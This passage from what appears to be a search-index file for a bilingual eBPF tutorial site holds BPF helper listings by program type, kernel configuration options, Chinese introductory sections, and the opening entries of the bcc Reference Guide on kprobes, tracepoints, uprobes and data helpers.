BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() Base functions BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() Tracing functions BPF_PROG_TYPE_CGROUP_SKB BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() Base functions BPF_PROG_TYPE_CGROUP_SOCK BPF_FUNC_get_current_uid_gid() Base functions BPF_PROG_TYPE_LWT_IN BPF_FUNC_lwt_push_encap() LWT functions Base functions BPF_PROG_TYPE_LWT_OUT LWT functions Base functions BPF_PROG_TYPE_LWT_XMIT BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT functions BPF_PROG_TYPE_SOCK_OPS BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_SK_SKB BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() Base functions BPF_PROG_TYPE_CGROUP_DEVICE BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_MSG BPF_FUNC_msg_redirect_map() BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_apply_bytes() BPF_FUNC_msg_cork_bytes() BPF_FUNC_msg_pull_data() BPF_FUNC_msg_push_data() BPF_FUNC_msg_pop_data() Base functions BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() Tracing functions BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT functions BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() Base functions BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() Base functions Function Group Functions Base functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() Tracing functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_probe_read() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_current_pid_tgid() BPF_FUNC_get_current_task() BPF_FUNC_get_current_uid_gid() BPF_FUNC_get_current_comm() BPF_FUNC_trace_printk() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_perf_event_read() BPF_FUNC_probe_write_user() BPF_FUNC_current_task_under_cgroup() BPF_FUNC_get_prandom_u32() BPF_FUNC_probe_read_str() BPF_FUNC_get_current_cgroup_id() BPF_FUNC_send_signal() BPF_FUNC_probe_read_kernel() BPF_FUNC_probe_read_kernel_str() BPF_FUNC_probe_read_user() BPF_FUNC_probe_read_user_str() BPF_FUNC_send_signal_thread() BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_xdp_output() BPF_FUNC_get_task_stack() LWT functions BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » Program Types","id":"179","title":"Program Types"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含 <linux/bpf.h> 和 <bpf/bpf_helpers.h> 等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » Kernel Configuration for BPF Features","id":"180","title":"Kernel Configuration for BPF Features"},"181":{"body":"Functionalities Kernel Configuration Description Basic CONFIG_BPF_SYSCALL Enable the bpf() system call CONFIG_BPF_JIT BPF programs are normally handled by a BPF interpreter. This option allows the kernel to generate native code when a program is loaded into the kernel. This will significantly speed-up processing of BPF programs CONFIG_HAVE_BPF_JIT Enable BPF Just In Time compiler CONFIG_HAVE_EBPF_JIT Extended BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT Classic BPF JIT (cBPF) CONFIG_MODULES Enable to build loadable kernel modules CONFIG_BPF BPF VM interpreter CONFIG_BPF_EVENTS Allow the user to attach BPF programs to kprobe, uprobe, and tracepoint events CONFIG_PERF_EVENTS Kernel performance events and counters CONFIG_HAVE_PERF_EVENTS Enable perf events CONFIG_PROFILING Enable the extended profiling support mechanisms used by profilers BTF CONFIG_DEBUG_INFO_BTF Generate deduplicated BTF type information from DWARF debug info CONFIG_PAHOLE_HAS_SPLIT_BTF Generate BTF for each selected kernel module CONFIG_DEBUG_INFO_BTF_MODULES Generate compact split BTF type information for kernel modules Security CONFIG_BPF_JIT_ALWAYS_ON Enable BPF JIT and removes BPF interpreter to avoid speculative execution CONFIG_BPF_UNPRIV_DEFAULT_OFF Disable unprivileged BPF by default by setting Cgroup CONFIG_CGROUP_BPF Support for BPF programs attached to cgroups Network CONFIG_BPFILTER BPF based packet filtering framework (BPFILTER) CONFIG_BPFILTER_UMH This builds bpfilter kernel module with embedded user mode helper CONFIG_NET_CLS_BPF BPF-based classifier - to classify packets based on programmable BPF (JIT'ed) filters as an alternative to ematches CONFIG_NET_ACT_BPF Execute BPF code on packets. The BPF code will decide if the packet should be dropped or not CONFIG_BPF_STREAM_PARSER Enable this to allow a TCP stream parser to be used with BPF_MAP_TYPE_SOCKMAP CONFIG_LWTUNNEL_BPF Allow to run BPF programs as a nexthop action following a route lookup for incoming and outgoing packets CONFIG_NETFILTER_XT_MATCH_BPF BPF matching applies a linux socket filter to each packet and accepts those for which the filter returns non-zero CONFIG_IPV6_SEG6_BPF To support BPF seg6local hook. bpf: Add IPv6 Segment Routing helpersy. Reference kprobes CONFIG_KPROBE_EVENTS This allows the user to add tracing events (similar to tracepoints) on the fly via the ftrace interface CONFIG_KPROBES Enable kprobes-based dynamic events CONFIG_HAVE_KPROBES Check if krpobes enabled CONFIG_HAVE_REGS_AND_STACK_ACCESS_API This symbol should be selected by an architecture if it supports the API needed to access registers and stack entries from pt_regs. For example the kprobes-based event tracer needs this API. CONFIG_KPROBES_ON_FTRACE Have kprobes on function tracer if arch supports full passing of pt_regs to function tracing kprobe multi CONFIG_FPROBE Enable fprobe to attach the probe on multiple functions at once kprobe override CONFIG_BPF_KPROBE_OVERRIDE Enable BPF programs to override a kprobed function uprobes CONFIG_UPROBE_EVENTS Enable uprobes-based dynamic events CONFIG_ARCH_SUPPORTS_UPROBES Arch specific uprobes support CONFIG_UPROBES Uprobes is the user-space counterpart to kprobes: they enable instrumentation applications (such as 'perf probe') to establish unintrusive probes in user-space binaries and libraries, by executing handler functions when the probes are hit by user-space applications. CONFIG_MMU MMU-based virtualised addressing space support by paged memory management Tracepoints CONFIG_TRACEPOINTS Enable inserting tracepoints in the kernel and connect to proble functions CONFIG_HAVE_SYSCALL_TRACEPOINTS Enable syscall enter/exit tracing Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM Enable instrumentation of the security hooks with BPF programs for implementing dynamic MAC and Audit Policies LIRC CONFIG_BPF_LIRC_MODE2 Allow attaching BPF programs to a lirc device","breadcrumbs":"Kernel Configuration for BPF Features » BPF Related Kernel Configurations","id":"181","title":"BPF Related Kernel Configurations"},"182":{"body":"Intended for search (Ctrl-F) and reference. For tutorials, start with tutorial.md . This guide is incomplete. If something feels missing, check the bcc and kernel source. And if you confirm we're missing something, please send a pull request to fix it, and help out everyone.","breadcrumbs":"bcc Reference Guide » bcc Reference Guide","id":"182","title":"bcc Reference Guide"},"183":{"body":"BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 5. uretprobes 6. USDT probes 7. Raw Tracepoints 8. system call tracepoints 9. kfuncs 10. kretfuncs 11. lsm probes 12. bpf iterators Data 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str() 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() Debugging 1. bpf_override_return() Output 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output() 7. ringbuf_reserve() 8. ringbuf_submit() 9. ringbuf_discard() Maps 1. BPF_TABLE 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() Licensing Rewriter bcc Python Initialization 1. BPF 2. USDT Events 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 10. attach_func() 11. detach_func() 12. detach_kprobe() 13. detach_kretprobe() Debug Output 1. trace_print() 2. trace_fields() Output APIs 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 3. items() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 10. print_log2_hist() 11. print_linear_hist() 12. open_ring_buffer() 13. push() 14. pop() 15. peek() Helpers 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF Errors 1. Invalid mem access 2. Cannot call GPL only function from proprietary program Environment Variables 1. kernel source directory 2. kernel version overriding","breadcrumbs":"bcc Reference Guide » Contents","id":"183","title":"Contents"},"184":{"body":"This section describes the C part of a bcc program.","breadcrumbs":"bcc Reference Guide » BPF C","id":"184","title":"BPF C"},"185":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"185","title":"Events & Arguments"},"186":{"body":"Syntax: kprobe__ kernel_function_name kprobe__ is a special prefix that creates a kprobe (dynamic tracing of a kernel function call) for the kernel function name provided as the remainder. You can also use kprobes by declaring a normal C function, then using the Python BPF.attach_kprobe() (covered later) to associate it with a kernel function. Arguments are specified on the function declaration: kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) For example: int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} This instruments the tcp_v4_connect() kernel function using a kprobe, with the following arguments: struct pt_regs *ctx: Registers and BPF context. struct sock *sk: First argument to tcp_v4_connect(). The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"186","title":"1. kprobes"},"187":{"body":"Syntax: kretprobe__ kernel_function_name kretprobe__ is a special prefix that creates a kretprobe (dynamic tracing of a kernel function return) for the kernel function name provided as the remainder. You can also use kretprobes by declaring a normal C function, then using the Python BPF.attach_kretprobe() (covered later) to associate it with a kernel function. Return value is available as PT_REGS_RC(ctx), given a function declaration of: kretprobe__ kernel_function_name (struct pt_regs *ctx) For example: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} This instruments the return of the tcp_v4_connect() kernel function using a kretprobe, and stores the return value in ret. Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"187","title":"2. kretprobes"},"188":{"body":"Syntax: TRACEPOINT_PROBE( category , event ) This is a macro that instruments the tracepoint defined by category : event . The tracepoint name is <category>:<event>. The probe function name is tracepoint__<category>__<event>. Arguments are available in an args struct, which are the tracepoint arguments. One way to list these is to cat the relevant format file under /sys/kernel/debug/tracing/events/ category / event /format. The args struct can be used in place of ctx in each functions requiring a context as an argument. This includes notably perf_submit() . For example: TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} This instruments the tracepoint random:urandom_read tracepoint, and prints the tracepoint argument got_bits. When using Python API, this probe is automatically attached to the right tracepoint target. For C++, this tracepoint probe can be attached by specifying the tracepoint target and function name explicitly: BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") Note the name of the probe function defined above is tracepoint__random__urandom_read. Examples in situ: code ( output ), search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"188","title":"3. Tracepoints"},"189":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uprobe probe in Python via BPF.attach_uprobe() (covered later). Arguments can be examined using PT_REGS_PARM macros. For example: int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} This reads the first argument as a string, and then prints it with the second argument as an integer. Examples in situ: code","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"189","title":"4. uprobes"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，跟踪点在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。 于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uretprobe probe in Python via BPF.attach_uretprobe() (covered later). Return value is available as PT_REGS_RC(ctx), given a function declaration of: function_name (struct pt_regs *ctx) For example: BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} This increments the bucket in the dist histogram that is indexed by the return value. Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 5. uretprobes","id":"190","title":"5. uretprobes"},"191":{"body":"These are User Statically-Defined Tracing (USDT) probes, which may be placed in some applications or libraries to provide a user-level equivalent of tracepoints. The primary BPF method provided for USDT support method is enable_probe(). USDT probes are instrumented by declaring a normal function in C, then associating it as a USDT probe in Python via USDT.enable_probe(). Arguments can be read via: bpf_usdt_readarg( index , ctx, &addr) For example: int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; This reads the sixth USDT argument, and then pulls it in as a string to path. When initializing USDTs via the third argument of BPF::init in the C API, if any USDT fails to init, entire BPF::init will fail. If you're OK with some USDTs failing to init, use BPF::init_usdt before calling BPF::init. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT probes","id":"191","title":"6. USDT probes"},"192":{"body":"Syntax: RAW_TRACEPOINT_PROBE( event ) This is a macro that instruments the raw tracepoint defined by event . The argument is a pointer to struct bpf_raw_tracepoint_args, which is defined in bpf.h . The struct field args contains all parameters of the raw tracepoint where you can found at linux tree include/trace/events directory. For example: RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} This instruments the sched:sched_switch tracepoint, and prints the prev and next tgid. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. Raw Tracepoints","id":"192","title":"7. Raw Tracepoints"},"193":{"body":"Syntax: syscall__SYSCALLNAME syscall__ is a special prefix that creates a kprobe for the system call name provided as the remainder. You can use it by declaring a normal C function, then using the Python BPF.get_syscall_fnname(SYSCALLNAME) and BPF.attach_kprobe() to associate it. Arguments are specified on the function declaration: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). For example: int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} This instruments the execve system call. The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Corresponding Python code: b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 8. system call tracepoints","id":"193","title":"8. system call tracepoints"},"194":{"body":"Syntax: KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) This is a macro that instruments the kernel function via trampoline before the function is executed. It's defined by function name and the function arguments defined as argX . For example: KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"194","title":"9. kfuncs"},"195":{"body":"Syntax: KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) This is a macro that instruments the kernel function via trampoline after the function is executed. It's defined by function name and the function arguments defined as argX . The last argument of the probe is the return value of the instrumented function. For example: KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values together with its return value. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"195","title":"10. kretfuncs"},"196":{"body":"Syntax: LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) This is a macro that instruments an LSM hook as a BPF program. It can be used to audit security events and implement MAC security policies in BPF. It is defined by specifying the hook name followed by its arguments. Hook names can be found in include/linux/security.h by taking functions like security_hookname and taking just the hookname part. For example, security_bpf would simply become bpf. Unlike other BPF program types, the return value specified in an LSM probe matters. A return value of 0 allows the hook to succeed, whereas any non-zero return value will cause the hook to fail and deny the security operation. The following example instruments a hook that denies all future BPF operations: LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} This instruments the security_bpf hook and causes it to return -EPERM. Changing return -EPERM to return 0 would cause the BPF program to allow the operation instead. LSM probes require at least a 5.7+ kernel with the following configuation options set: CONFIG_BPF_LSM=y CONFIG_LSM comma separated string must contain \"bpf\" (for example, CONFIG_LSM=\"lockdown,yama,bpf\") Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"196","title":"11. LSM Probes"},"197":{"body":"Syntax: BPF_ITER(target) This is a macro to define a program signature for a bpf iterator program. The argument target specifies what to iterate for the program. Currently, kernel does not have interface to discover what targets are supported. A good place to find what is supported is in tools/testing/selftests/bpf/prog_test/bpf_iter.c and some sample bpf iter programs are in tools/testing/selftests/bpf/progs with file name prefix bpf_iter . The following example defines a program for target task , which traverses all tasks in the kernel. BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} BPF iterators are introduced in 5.8 kernel for task, task_file, bpf_map, netlink_sock and ipv6_route . In 5.9, support is added to tcp/udp sockets and bpf map element (hashmap, arraymap and sk_local_storage_map) traversal.","breadcrumbs":"bcc Reference Guide » 12. BPF ITERATORS","id":"197","title":"12. BPF ITERATORS"},"198":{"body":"","breadcrumbs":"bcc Reference Guide » Data","id":"198","title":"Data"},"199":{"body":"Syntax: int bpf_probe_read_kernel(void *dst, int size, const void *src) Return: 0 on success This copies size bytes from kernel address space to the BPF stack, so that BPF can later operate on it. For safety, all kernel memory reads must pass through bpf_probe_read_kernel(). This happens automatically in some cases, such as dereferencing kernel variables, as bcc will rewrite the BPF program to include the necessary bpf_probe_read_kernel(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"199","title":"1. bpf_probe_read_kernel()"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"Syntax: int bpf_probe_read_kernel_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from kernel address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()","id":"200","title":"2. bpf_probe_read_kernel_str()"},"201":{"body":"Syntax: u64 bpf_ktime_get_ns(void) Return: u64 number of nanoseconds. Starts at system boot time but stops during suspend. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"201","title":"3. bpf_ktime_get_ns()"},"202":{"body":"Syntax: u64 bpf_get_current_pid_tgid(void) Return: current->tgid << 32 | current->pid Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Examples in situ: search /examples , search 